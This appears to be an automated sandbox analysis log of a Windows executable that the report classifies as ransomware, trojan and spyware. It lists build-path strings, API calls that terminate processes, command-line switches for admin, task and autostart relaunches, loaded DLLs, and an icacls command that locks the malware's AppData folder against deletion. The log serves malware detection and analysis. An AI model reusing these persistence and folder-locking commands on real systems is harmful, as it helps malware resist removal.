Source: winload_prod.pdb.2.dr	Binary string: d:\os\obj\amd64fre\minkernel\boot\environ\lib\io\device\efi\objfre\amd64\blockapi.obj
Source: winload_prod.pdb.2.dr	Binary string: d:\os\obj\amd64fre\minkernel\boot\environ\lib\io\device\efi\objfre\amd64\vdiskapi.obj
Source: winload_prod.pdb.2.dr	Binary string: d:\os\obj\amd64fre\minkernel\boot\environ\lib\io\device\efi\objfre\amd64\seccmd.objd:\os\public\amd64fre\onecore\internal\minwin\priv_sdk\lib\amd64\boot\efi\device.lib
Source: winload_prod.pdb.2.dr	Binary string: d:\os\obj\amd64fre\minkernel\boot\environ\lib\io\device\efi\objfre\amd64\fileapi.objd:\os\public\amd64fre\onecore\internal\minwin\priv_sdk\lib\amd64\boot\efi\device.lib
Source: winload_prod.pdb.2.dr	Binary string: d:\os\obj\amd64fre\minkernel\boot\environ\lib\io\device\efi\objfre\amd64\serialapi.objd:\os\public\amd64fre\onecore\internal\minwin\priv_sdk\lib\amd64\boot\efi\device.lib
Source: winload_prod.pdb.2.dr	Binary string: d:\os\obj\amd64fre\minkernel\boot\environ\lib\io\device\efi\objfre\amd64\ramdiskvhd.obj
Source: winload_prod.pdb.2.dr	Binary string: d:\os\obj\amd64fre\minkernel\boot\environ\lib\io\device\efi\objfre\amd64\vhd.objd:\os\public\amd64fre\onecore\internal\minwin\priv_sdk\lib\amd64\boot\efi\device.lib
Source: winload_prod.pdb.2.dr	Binary string: d:\os\obj\amd64fre\minkernel\boot\environ\lib\io\device\efi\objfre\amd64\fve.obj
Source: winload_prod.pdb.2.dr	Binary string: d:\os\obj\amd64fre\minkernel\boot\environ\lib\io\device\efi\objfre\amd64\device.obj
Source: winload_prod.pdb.2.dr	Binary string: d:\os\obj\amd64fre\minkernel\boot\environ\lib\io\device\efi\objfre\amd64\edriveapi.objd:\os\public\amd64fre\onecore\internal\minwin\priv_sdk\lib\amd64\boot\efi\device.lib
Source: winload_prod.pdb.2.dr	Binary string: d:\os\obj\amd64fre\minkernel\boot\environ\lib\io\device\efi\objfre\amd64\vmbusapi.objd:\os\public\amd64fre\onecore\internal\minwin\priv_sdk\lib\amd64\boot\efi\device.lib
Source: winload_prod.pdb.2.dr	Binary string: d:\os\obj\amd64fre\minkernel\boot\environ\lib\io\device\efi\objfre\amd64\nbp.objd:\os\public\amd64fre\onecore\internal\minwin\priv_sdk\lib\amd64\boot\efi\device.lib
Source: winload_prod.pdb.2.dr	Binary string: d:\os\obj\amd64fre\minkernel\boot\environ\lib\io\device\efi\objfre\amd64\nkp.objd:\os\public\amd64fre\onecore\internal\minwin\priv_sdk\lib\amd64\boot\efi\device.lib
Source: winload_prod.pdb.2.dr	Binary string: d:\os\obj\amd64fre\minkernel\boot\environ\lib\io\device\efi\objfre\amd64\usb.objd:\os\public\amd64fre\onecore\internal\minwin\priv_sdk\lib\amd64\boot\efi\device.lib
Source: winload_prod.pdb.2.dr	Binary string: d:\os\obj\amd64fre\minkernel\boot\environ\lib\io\device\efi\objfre\amd64\blkcache.objd:\os\public\amd64fre\onecore\internal\minwin\priv_sdk\lib\amd64\boot\efi\device.lib
Source: winload_prod.pdb.2.dr	Binary string: d:\os\obj\amd64fre\minkernel\boot\environ\lib\io\device\efi\objfre\amd64\disk.objd:\os\public\amd64fre\onecore\internal\minwin\priv_sdk\lib\amd64\boot\efi\device.lib
Source: winload_prod.pdb.2.dr	Binary string: d:\os\obj\amd64fre\minkernel\boot\environ\lib\io\device\efi\objfre\amd64\locate.obj
Source: winload_prod.pdb.2.dr	Binary string: d:\os\obj\amd64fre\minkernel\boot\environ\lib\io\device\efi\objfre\amd64\block.objd:\os\public\amd64fre\onecore\internal\minwin\priv_sdk\lib\amd64\boot\efi\device.lib
Source: winload_prod.pdb.2.dr	Binary string: d:\os\obj\amd64fre\minkernel\boot\environ\lib\io\device\efi\objfre\amd64\edriveapi.obj
Source: winload_prod.pdb.2.dr	Binary string: d:\os\obj\amd64fre\minkernel\boot\environ\lib\io\device\efi\objfre\amd64\fileapi.obj
Source: winload_prod.pdb.2.dr	Binary string: d:\os\obj\amd64fre\minkernel\boot\environ\lib\io\device\efi\objfre\amd64\udp.objd:\os\public\amd64fre\onecore\internal\minwin\priv_sdk\lib\amd64\boot\efi\device.lib
Source: winload_prod.pdb.2.dr	Binary string: d:\os\obj\amd64fre\minkernel\boot\environ\lib\io\device\efi\objfre\amd64\device.objd:\os\public\amd64fre\onecore\internal\minwin\priv_sdk\lib\amd64\boot\efi\device.lib
Source: winload_prod.pdb.2.dr	Binary string: d:\os\obj\amd64fre\minkernel\boot\environ\lib\io\device\efi\objfre\amd64\serialapi.obj
Source: winload_prod.pdb.2.dr	Binary string: d:\os\obj\amd64fre\minkernel\boot\environ\lib\io\device\efi\objfre\amd64\vmbus.obj
Source: winload_prod.pdb.2.dr	Binary string: d:\os\obj\amd64fre\minkernel\boot\environ\lib\io\device\efi\objfre\amd64\vmbus.objd:\os\public\amd64fre\onecore\internal\minwin\priv_sdk\lib\amd64\boot\efi\device.lib
Source: winload_prod.pdb.2.dr	Binary string: d:\os\obj\amd64fre\minkernel\boot\environ\lib\io\device\efi\objfre\amd64\devlog.obj
Source: winload_prod.pdb.2.dr	Binary string: d:\os\obj\amd64fre\minkernel\boot\environ\lib\io\device\efi\objfre\amd64\vhd2.obj
Source: winload_prod.pdb.2.dr	Binary string: d:\os\obj\amd64fre\minkernel\boot\environ\lib\io\device\efi\objfre\amd64\blocksup.obj
Source: winload_prod.pdb.2.dr	Binary string: d:\os\obj\amd64fre\minkernel\boot\environ\lib\io\device\efi\objfre\amd64\partition.objd:\os\public\amd64fre\onecore\internal\minwin\priv_sdk\lib\amd64\boot\efi\device.lib
Source: winload_prod.pdb.2.dr	Binary string: d:\os\obj\amd64fre\minkernel\boot\environ\lib\io\device\efi\objfre\amd64\blkcache.obj
Source: winload_prod.pdb.2.dr	Binary string: d:\os\obj\amd64fre\minkernel\boot\environ\lib\io\device\efi\objfre\amd64\uriapi.obj
Source: winload_prod.pdb.2.dr	Binary string: d:\os\obj\amd64fre\minkernel\boot\environ\lib\io\device\efi\objfre\amd64\guiddef.objd:\os\public\amd64fre\onecore\internal\minwin\priv_sdk\lib\amd64\boot\efi\device.lib
Source: winload_prod.pdb.2.dr	Binary string: d:\os\obj\amd64fre\minkernel\boot\environ\lib\io\device\efi\objfre\amd64\tcglib.obj
Source: winload_prod.pdb.2.dr	Binary string: d:\os\obj\amd64fre\minkernel\boot\environ\lib\io\device\efi\objfre\amd64\ramdiskvhd.objd:\os\public\amd64fre\onecore\internal\minwin\priv_sdk\lib\amd64\boot\efi\device.lib
Source: winload_prod.pdb.2.dr	Binary string: d:\os\obj\amd64fre\minkernel\boot\environ\lib\io\device\efi\objfre\amd64\vdiskapi.objd:\os\public\amd64fre\onecore\internal\minwin\priv_sdk\lib\amd64\boot\efi\device.lib
Source: winload_prod.pdb.2.dr	Binary string: d:\os\obj\amd64fre\minkernel\boot\environ\lib\io\device\efi\objfre\amd64\devlog.objd:\os\public\amd64fre\onecore\internal\minwin\priv_sdk\lib\amd64\boot\efi\device.lib
Source: winload_prod.pdb.2.dr	Binary string: d:\os\obj\amd64fre\minkernel\boot\environ\lib\io\device\efi\objfre\amd64\vhdutil.obj
Source: winload_prod.pdb.2.dr	Binary string: d:\os\obj\amd64fre\minkernel\boot\environ\lib\io\device\efi\objfre\amd64\vhd2.objd:\os\public\amd64fre\onecore\internal\minwin\priv_sdk\lib\amd64\boot\efi\device.lib
Source: winload_prod.pdb.2.dr	Binary string: d:\os\obj\amd64fre\minkernel\boot\environ\lib\io\device\efi\objfre\amd64\partapi.obj
Source: winload_prod.pdb.2.dr	Binary string: d:\os\obj\amd64fre\minkernel\boot\environ\lib\io\device\efi\objfre\amd64\udpapi.obj
Source: winload_prod.pdb.2.dr	Binary string: d:\os\obj\amd64fre\minkernel\boot\environ\lib\io\device\efi\objfre\amd64\udpapi.objd:\os\public\amd64fre\onecore\internal\minwin\priv_sdk\lib\amd64\boot\efi\device.lib
Source: winload_prod.pdb.2.dr	Binary string: d:\os\obj\amd64fre\minkernel\boot\environ\lib\io\device\efi\objfre\amd64\partition.obj
Source: winload_prod.pdb.2.dr	Binary string: d:\os\obj\amd64fre\minkernel\boot\environ\lib\io\device\efi\objfre\amd64\nbp.obj
Source: winload_prod.pdb.2.dr	Binary string: d:\os\obj\amd64fre\minkernel\boot\environ\lib\io\device\efi\objfre\amd64\diskapi.obj
Source: winload_prod.pdb.2.dr	Binary string: d:\os\obj\amd64fre\minkernel\boot\environ\lib\io\device\efi\objfre\amd64\vhd.obj

Source: classification engine

Classification label: mal100.rans.spre.troj.spyw.evad.winEXE@8/1345@2/2

Source: C:\Users\user\Desktop\f6ffg1sZS2.exe

Code function: 0_2_00791900 GetLastError,FormatMessageW,lstrlenW,lstrlenW,lstrlenW,LocalAlloc,lstrcpyW,lstrcatW,lstrcatW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,_memset,lstrcpynW,MessageBoxW,LocalFree,LocalFree,LocalFree,

0_2_00791900

Source: C:\Users\user\Desktop\f6ffg1sZS2.exe

Code function: 0_2_00792440 CreateToolhelp32Snapshot,Process32FirstW,CloseHandle,OpenProcess,TerminateProcess,CloseHandle,Process32NextW,CloseHandle,

0_2_00792440

Source: C:\Users\user\Desktop\f6ffg1sZS2.exe

Code function: 0_2_0078D240 CoInitialize,CoInitializeSecurity,CoCreateInstance,VariantInit,VariantInit,VariantInit,VariantInit,VariantInit,VariantClear,VariantClear,VariantClear,VariantClear,CoUninitialize,CoUninitialize,CoUninitialize,__time64,__localtime64,_wcsftime,VariantInit,VariantInit,VariantClear,VariantClear,VariantClear,VariantClear,swprintf,CoUninitialize,CoUninitialize,

0_2_0078D240

Source: C:\Users\user\Desktop\f6ffg1sZS2.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\geo[1].json

Jump to behavior

Source: C:\Users\user\Desktop\f6ffg1sZS2.exe

Mutant created: \Sessions\1\BaseNamedObjects\{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}

Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Command line argument: --Admin	0_2_00799F90
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Command line argument: IsAutoStart	0_2_00799F90
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Command line argument: IsTask	0_2_00799F90
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Command line argument: --ForNetRes	0_2_00799F90
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Command line argument: IsAutoStart	0_2_00799F90
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Command line argument: IsTask	0_2_00799F90
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Command line argument: --Task	0_2_00799F90
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Command line argument: --AutoStart	0_2_00799F90
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Command line argument: --Service	0_2_00799F90
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Command line argument: --Admin	0_2_00799F90
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Command line argument: C:\Windows\	0_2_00799F90
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Command line argument: D:\Windows\	0_2_00799F90
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Command line argument: %username%	0_2_00799F90
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Command line argument: F:\	0_2_00799F90
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Command line argument: --Admin	2_2_00799F90
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Command line argument: IsAutoStart	2_2_00799F90
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Command line argument: IsTask	2_2_00799F90
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Command line argument: --ForNetRes	2_2_00799F90
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Command line argument: IsAutoStart	2_2_00799F90
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Command line argument: IsTask	2_2_00799F90
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Command line argument: --Task	2_2_00799F90
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Command line argument: --AutoStart	2_2_00799F90
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Command line argument: --Service	2_2_00799F90
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Command line argument: --Admin	2_2_00799F90
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Command line argument: C:\Windows\	2_2_00799F90
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Command line argument: D:\Windows\	2_2_00799F90
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Command line argument: %username%	2_2_00799F90
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Command line argument: F:\	2_2_00799F90
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Command line argument: --Admin	3_2_00F79F90
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Command line argument: IsAutoStart	3_2_00F79F90
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Command line argument: IsTask	3_2_00F79F90
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Command line argument: --ForNetRes	3_2_00F79F90
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Command line argument: IsAutoStart	3_2_00F79F90
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Command line argument: IsTask	3_2_00F79F90
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Command line argument: --Task	3_2_00F79F90
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Command line argument: --AutoStart	3_2_00F79F90
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Command line argument: --Service	3_2_00F79F90
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Command line argument: --Admin	3_2_00F79F90
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Command line argument: C:\Windows\	3_2_00F79F90
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Command line argument: D:\Windows\	3_2_00F79F90
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Command line argument: %username%	3_2_00F79F90
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Command line argument: F:\	3_2_00F79F90
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Command line argument: --Admin	4_2_00F79F90
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Command line argument: IsAutoStart	4_2_00F79F90
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Command line argument: IsTask	4_2_00F79F90
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Command line argument: --ForNetRes	4_2_00F79F90
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Command line argument: IsAutoStart	4_2_00F79F90
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Command line argument: IsTask	4_2_00F79F90
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Command line argument: --Task	4_2_00F79F90
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Command line argument: --AutoStart	4_2_00F79F90
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Command line argument: --Service	4_2_00F79F90
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Command line argument: --Admin	4_2_00F79F90
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Command line argument: C:\Windows\	4_2_00F79F90
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Command line argument: D:\Windows\	4_2_00F79F90
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Command line argument: %username%	4_2_00F79F90
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Command line argument: F:\	4_2_00F79F90

Source: f6ffg1sZS2.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\f6ffg1sZS2.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\f6ffg1sZS2.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: f6ffg1sZS2.exe

ReversingLabs: Detection: 81%

Source: f6ffg1sZS2.exe	String found in binary or memory: set-addPolicy
Source: f6ffg1sZS2.exe	String found in binary or memory: setct-CertReqTBEXsetct-CertResTBEsetct-CRLNotificationTBSsetct-CRLNotificationResTBSsetct-BCIDistributionTBSsetext-genCryptgeneric cryptogramsetext-miAuthmerchant initiated authsetext-pinSecuresetext-pinAnysetext-track2setext-cvadditional verificationset-policy-rootsetCext-hashedRootsetCext-certTypesetCext-merchDatasetCext-cCertRequiredsetCext-tunnelingsetCext-setExtsetCext-setQualfsetCext-PGWYcapabilitiessetCext-TokenIdentifiersetCext-Track2DatasetCext-TokenTypesetCext-IssuerCapabilitiessetAttr-CertsetAttr-PGWYcappayment gateway capabilitiessetAttr-TokenTypesetAttr-IssCapissuer capabilitiesset-rootKeyThumbset-addPolicysetAttr-Token-EMVsetAttr-Token-B0PrimesetAttr-IssCap-CVMsetAttr-IssCap-T2setAttr-IssCap-SigsetAttr-GenCryptgrmgenerate cryptogramsetAttr-T2Encencrypted track 2setAttr-T2cleartxtcleartext track 2setAttr-TokICCsigICC or token signaturesetAttr-SecDevSigsecure device signatureset-brand-IATA-ATAset-brand-Dinersset-brand-AmericanExpressset-brand-JCBset-brand-Visaset-brand-MasterCardset-brand-NovusDES-CDMFdes-cdmfrsaOAEPEncryptionSETITU-Titu-tJOINT-ISO-ITU-Tjoint-iso-itu-tinternational-organizationsInternational OrganizationsmsSmartcardLoginMicrosoft SmartcardloginmsUPNMicrosoft Universal Principal NameAES-128-CFB1aes-128-cfb1AES-192-CFB1aes-192-cfb1AES-256-CFB1aes-256-cfb1AES-128-CFB8aes-128-cfb8AES-192-CFB8aes-192-cfb8AES-256-CFB8aes-256-cfb8DES-CFB1des-cfb1DES-CFB8des-cfb8DES-EDE3-CFB1des-ede3-cfb1DES-EDE3-CFB8des-ede3-cfb8streetstreetAddresspostalCodeid-pplproxyCertInfoProxy Certificate Informationid-ppl-anyLanguageAny languageid-ppl-inheritAllInherit allnameConstraintsX509v3 Name Constraintsid-ppl-independentIndependentRSA-SHA256sha256WithRSAEncryptionRSA-SHA384sha384WithRSAEncryptionRSA-SHA512sha512WithRSAEncryptionRSA-SHA224sha224WithRSAEncryptionSHA256sha256SHA384sha384SHA512sha512SHA224sha224identified-organizationcerticom-arcwapwap-wsgid-characteristic-two-basisonBasistpBasisppBasisc2pnb163v1c2pnb163v2c2pnb163v3c2pnb176v1c2tnb191v1c2tnb191v2c2tnb191v3c2onb191v4c2onb191v5c2pnb208w1c2tnb239v1c2tnb239v2c2tnb239v3c2onb239v4c2onb239v5c2pnb272w1c2pnb304w1c2tnb359v1c2pnb368w1c2tnb431r1secp112r1secp112r2*
Source: f6ffg1sZS2.exe	String found in binary or memory: id-cmc-addExtensions

Source: C:\Users\user\Desktop\f6ffg1sZS2.exe

File read: C:\Users\user\Desktop\f6ffg1sZS2.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\f6ffg1sZS2.exe "C:\Users\user\Desktop\f6ffg1sZS2.exe"
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Process created: C:\Windows\SysWOW64\icacls.exe icacls "C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb" /deny *S-1-1-0:(OI)(CI)(DE,DC)
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Process created: C:\Users\user\Desktop\f6ffg1sZS2.exe "C:\Users\user\Desktop\f6ffg1sZS2.exe" --Admin IsNotAutoStart IsNotTask
Source: unknown	Process created: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe --Task
Source: unknown	Process created: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe "C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe" --AutoStart
Source: unknown	Process created: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe "C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe" --AutoStart
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Process created: C:\Windows\SysWOW64\icacls.exe icacls "C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb" /deny *S-1-1-0:(OI)(CI)(DE,DC)	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Process created: C:\Users\user\Desktop\f6ffg1sZS2.exe "C:\Users\user\Desktop\f6ffg1sZS2.exe" --Admin IsNotAutoStart IsNotTask	Jump to behavior

Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\icacls.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Section loaded: msasn1.dll	Jump to behavior
